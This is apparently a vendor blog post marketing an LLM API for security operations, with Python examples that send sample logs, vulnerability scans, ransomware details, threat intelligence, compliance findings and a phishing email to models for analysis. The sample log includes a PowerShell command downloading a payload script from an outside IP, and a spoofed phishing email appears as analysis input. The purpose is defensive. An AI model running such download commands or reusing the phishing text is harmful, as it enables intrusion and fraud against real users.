Cybersecurity Threat Detection Incident Response

AI in Cybersecurity & Threat Detection with Chinese LLMs

Published August 28, 2026 · 12 min read · TokenEase Security Team

Cybercrime costs the global economy an estimated $10.5 trillion annually. As threats grow more sophisticated, security teams are overwhelmed by alert volumes, complex attack chains, and evolving adversary tactics. Chinese LLMs like DeepSeek-V4, GLM-4, and Qwen3 are emerging as force multipliers for security operations—enabling faster threat detection, smarter incident analysis, and more effective response coordination.

Through TokenEase's unified API, security teams can augment their SOC operations with AI capabilities without deploying custom ML infrastructure or managing multiple AI vendor relationships.

Why TokenEase for Security?

Analyze massive log volumes with Qwen3's 128K context window, generate Chinese incident reports and compliance documentation with GLM-4, and build complex attack chain reasoning with DeepSeek-V4—all through a single API endpoint at 40% lower cost.

1. Security Log Analysis & Anomaly Detection

Modern enterprises generate terabytes of security logs daily. LLMs can parse unstructured logs, identify anomalous patterns, correlate events across systems, and generate human-readable summaries that help analysts focus on genuine threats.

Example: Log Analysis with DeepSeek-V4

import requests

log_data = """
Security Events (last 30 minutes):

14:23:15 - Firewall: Blocked outbound connection to 185.220.101.45:443 (IP reputation: HIGH RISK)
14:23:18 - Endpoint: Process "svchost.exe" spawned child "powershell.exe" (PID: 4521)
14:23:19 - PowerShell: Command execution: "Invoke-WebRequest -Uri http://185.220.101.45/payload.ps1 -OutFile C:\\temp\\update.ps1"
14:23:22 - Endpoint: File created: C:\temp\update.ps1 (SHA256: a3f8c...d2e1)
14:23:25 - EDR: Suspicious script execution detected (MITRE T1059.001)
14:23:30 - Network: DNS query for "cdn-updateservice[.]com" (domain age: 3 days)
14:23:35 - AD: Failed login attempt for svc_backup (src: 10.0.4.15, 15 attempts)
14:23:40 - AD: Successful login for svc_backup (src: 10.0.4.15)
14:23:45 - File Server: Bulk file access on \\fs01\finance (200 files in 30 seconds)
14:24:00 - DLP: 47 files staged for exfiltration (total: 2.3GB)

User Context:
- 10.0.4.15: Marketing workstation (user: linda.chen)
- linda.chen: Received phishing email 14:15 (clicked link)
- svc_backup: Service account (should not have interactive logins)
"""

response = requests.post(
    "https://tokenease.io/v1/chat/completions",
    headers={
        "Authorization": "Bearer YOUR_TOKENEASE_API_KEY",
        "Content-Type": "application/json"
    },
    json={
        "model": "deepseek-v4",
        "messages": [
            {"role": "system", "content": "You are a senior SOC analyst. Analyze security events to identify attack chains, assess severity, and recommend containment actions. Map to MITRE ATT&CK framework. Provide timeline reconstruction and IOC extraction."},
            {"role": "user", "content": f"Analyze this incident:\n{log_data}"}
        ],
        "temperature": 0.2,
        "max_tokens": 2500
    }
)

log_analysis = response.json()["choices"][0]["message"]["content"]
print(log_analysis)

2. Vulnerability Assessment & Prioritization

Organizations face thousands of vulnerabilities but lack resources to patch everything. LLMs can analyze vulnerability scan results, consider exploitability, asset criticality, and threat landscape to prioritize remediation efforts.

Example: Vulnerability Prioritization with Qwen3

import requests

vuln_data = """
Vulnerability Scan Results:
Total Findings: 1,247

Critical (Score 9.0-10.0):
1. CVE-2026-1234: Apache Struts RCE (CVSS: 9.8)
   - Asset: web01.company.com (public-facing)
   - Exploit available: YES (public PoC)
   - Asset criticality: HIGH (e-commerce platform)
   - Last patched: Never

2. CVE-2026-5678: Windows SMB Remote Code (CVSS: 9.5)
   - Asset: dc01.company.com (domain controller)
   - Exploit available: YES (APT group known usage)
   - Asset criticality: CRITICAL
   - Last patched: 6 months ago

High (Score 7.0-8.9):
3. CVE-2026-9012: Jenkins Script Console (CVSS: 8.2)
   - Asset: ci.company.com (internal only)
   - Exploit available: YES
   - Asset criticality: MEDIUM

4. CVE-2026-3456: PostgreSQL Authentication Bypass (CVSS: 7.8)
   - Asset: db03.company.com (customer database)
   - Exploit available: NO
   - Asset criticality: HIGH
"""

response = requests.post(
    "https://tokenease.io/v1/chat/completions",
    headers={
        "Authorization": "Bearer YOUR_TOKENEASE_API_KEY",
        "Content-Type": "application/json"
    },
    json={
        "model": "qwen3-235b",
        "messages": [
            {"role": "system", "content": "Prioritize vulnerabilities using risk-based analysis. Consider CVSS scores, exploit availability, asset criticality, exposure, and threat actor activity. Recommend patching order with justification and compensating controls."},
            {"role": "user", "content": f"Prioritize vulnerabilities:\n{vuln_data}"}
        ],
        "temperature": 0.2,
        "max_tokens": 2000
    }
)

prioritization = response.json()["choices"][0]["message"]["content"]
print(prioritization)

3. Incident Response Playbook Generation

Effective incident response requires coordinated actions across multiple teams. LLMs can generate customized playbooks based on incident type, affected systems, and organizational structure—ensuring consistent, comprehensive responses.

Example: IR Playbook with DeepSeek-V4

import requests

incident_context = """
Incident Type: Ransomware (LockBit variant)
Detection: EDR alert + user report (encrypted files)
Scope: 15 workstations, 3 file servers
Encrypted file extension: .lockbit3
Ransom note: README_TO_RESTORE.txt
Bitcoin demand: $500K

Affected Systems:
- File Server FS01: Finance shares encrypted
- File Server FS02: HR shares encrypted
- File Server FS03: Engineering shares encrypted
- Workstations: Marketing (8), Sales (4), Executive (3)
- Backup server: Appears uncompromised (air-gapped)

Known IOCs:
- C2: 198.51.100.45:8080
- File hash: e5d8c...f2a1 (lockbit.exe)
- Registry key: HKLM\Software\LockBit
"""

response = requests.post(
    "https://tokenease.io/v1/chat/completions",
    headers={
        "Authorization": "Bearer YOUR_TOKENEASE_API_KEY",
        "Content-Type": "application/json"
    },
    json={
        "model": "deepseek-v4",
        "messages": [
            {"role": "system", "content": "Generate incident response playbooks with specific actions, responsible teams, and communication templates. Include containment, eradication, recovery, and lessons learned phases. Consider legal, PR, and regulatory requirements."},
            {"role": "user", "content": f"Generate IR playbook:\n{incident_context}"}
        ],
        "temperature": 0.2,
        "max_tokens": 2500
    }
)

playbook = response.json()["choices"][0]["message"]["content"]
print(playbook)

4. Threat Intelligence Analysis

Security teams consume threat intelligence from multiple sources—vendor reports, government advisories, OSINT, and dark web monitoring. LLMs can synthesize this information, identify relevant threats to the organization, and generate actionable briefings.

Example: Threat Intel Brief with Qwen3

import requests

threat_intel = """
Threat Intelligence Summary (Week of Aug 24-28, 2026):

1. APT41 Activity Report (Mandiant)
   - Targeting: Asian telecommunications companies
   - TTPs: Supply chain compromise, living-off-the-land
   - Known to target: Our industry vertical

2. CISA Advisory AA26-240-01
   - CVE-2026-7890: Critical flaw in Cisco IOS
   - Our network: 12 Cisco routers affected
   - Exploitation: Active in wild

3. Dark Web Monitor Alert
   - Employee credentials for sale (5 accounts)
   - Source: 3rd party breach (partner.com, Jan 2026)
   - Price: $50 per account

4. Ransomware Tracker
   - LockBit 3.0: 40% increase in attacks this month
   - New target: Mid-size manufacturing (our size category)
   - Entry vector: Phishing + RDP exploitation

5. Industry-Specific Intelligence
   - Competitor X disclosed breach (customer data, 2M records)
   - Regulatory: New data protection requirements proposed
"""

response = requests.post(
    "https://tokenease.io/v1/chat/completions",
    headers={
        "Authorization": "Bearer YOUR_TOKENEASE_API_KEY",
        "Content-Type": "application/json"
    },
    json={
        "model": "qwen3-235b",
        "messages": [
            {"role": "system", "content": "Analyze threat intelligence and generate executive briefings. Identify organizational relevance, recommend defensive actions, and prioritize intelligence requirements. Consider strategic, operational, and tactical impacts."},
            {"role": "user", "content": f"Generate threat briefing:\n{threat_intel}"}
        ],
        "temperature": 0.2,
        "max_tokens": 2000
    }
)

threat_briefing = response.json()["choices"][0]["message"]["content"]
print(threat_briefing)

5. Compliance Audit & Policy Analysis

Regulatory compliance requires understanding complex requirements, mapping controls to frameworks, and documenting evidence. LLMs can analyze policies, identify gaps, generate audit evidence, and create remediation plans.

Example: Compliance Gap Analysis with GLM-4

import requests

compliance_context = """
Organization: FinTech Payment Processor
Framework: PCI DSS v4.0 + China's Personal Information Protection Law (PIPL)

Current Controls:
1. Network segmentation: YES (DMZ, internal, management zones)
2. Encryption at rest: AES-256 (cardholder data)
3. Encryption in transit: TLS 1.3
4. Access control: RBAC implemented
5. Logging: 90-day retention (PCI requires 1 year)
6. Vulnerability scanning: Monthly (PCI requires quarterly minimum)
7. Penetration testing: Annual (PCI requires annual)
8. Data localization: Card data stored in China (PIPL compliant)
9. Cross-border transfer: Employee data to US HQ (PIPL assessment incomplete)
10. Consent management: Opt-out model (PIPL requires explicit consent)

Audit Findings:
- Finding 1: 12 service accounts with passwords >90 days
- Finding 2: Firewall rules not reviewed in 8 months
- Finding 3: Incident response plan not tested in 14 months
- Finding 4: Vendor risk assessments missing for 3 critical suppliers
"""

response = requests.post(
    "https://tokenease.io/v1/chat/completions",
    headers={
        "Authorization": "Bearer YOUR_TOKENEASE_API_KEY",
        "Content-Type": "application/json"
    },
    json={
        "model": "glm-4-plus",
        "messages": [
            {"role": "system", "content": "Analyze compliance posture against regulatory frameworks. Identify gaps, map findings to specific requirements, estimate remediation effort, and recommend prioritization. Include both technical and procedural controls."},
            {"role": "user", "content": f"Analyze compliance gaps:\n{compliance_context}"}
        ],
        "temperature": 0.2,
        "max_tokens": 2500
    }
)

compliance_analysis = response.json()["choices"][0]["message"]["content"]
print(compliance_analysis)

6. Phishing Detection & User Awareness

Phishing remains the primary attack vector for breaches. LLMs can analyze email content, identify sophisticated social engineering tactics, generate user awareness training, and create simulated phishing campaigns.

Example: Phishing Analysis with DeepSeek-V4

import requests

email_content = """
From: security@amaz0n-security[.]com
To: john.smith@company.com
Subject: URGENT: Your Amazon Business Account Has Been Suspended

Dear Valued Customer,

We have detected unusual activity on your Amazon Business account. Your account has been temporarily suspended pending verification.

To restore your account, please verify your information within 24 hours by clicking the link below:

[Verify Account Now] -> http://amzn-verify[.]net/login

Failure to verify will result in permanent account closure and loss of all pending orders.

Best regards,
Amazon Security Team

Note: This is an automated message. Please do not reply.
"""

response = requests.post(
    "https://tokenease.io/v1/chat/completions",
    headers={
        "Authorization": "Bearer YOUR_TOKENEASE_API_KEY",
        "Content-Type": "application/json"
    },
    json={
        "model": "deepseek-v4",
        "messages": [
            {"role": "system", "content": "Analyze emails for phishing indicators. Identify spoofing techniques, social engineering tactics, malicious links, and technical deception. Provide risk rating and recommended user actions."},
            {"role": "user", "content": f"Analyze this email:\n{email_content}"}
        ],
        "temperature": 0.2,
        "max_tokens": 1500
    }
)

phishing_analysis = response.json()["choices"][0]["message"]["content"]
print(phishing_analysis)

Secure Your Operations with TokenEase

Integrate DeepSeek-V4, GLM-4, and Qwen3 into your security operations center. Get started today →

Implementation Best Practices

Log Analysis: Use LLMs for triage and correlation, not as primary detection engines
Vulnerability Management: Validate LLM prioritization with your threat model and asset inventory
Incident Response: Customize playbooks to your organization's tools, procedures, and legal requirements
Threat Intelligence: Correlate LLM analysis with internal incident data for context
Compliance: Have legal counsel review LLM-generated compliance assessments
Phishing Detection: Combine LLM analysis with email security gateways for defense in depth

Model Selection for Security

DeepSeek-V4: Best for attack chain analysis, incident response planning, and phishing detection
GLM-4: Ideal for Chinese compliance documentation, local regulatory requirements, and policy generation
Qwen3: Excellent for vulnerability prioritization, threat intelligence synthesis, and large log analysis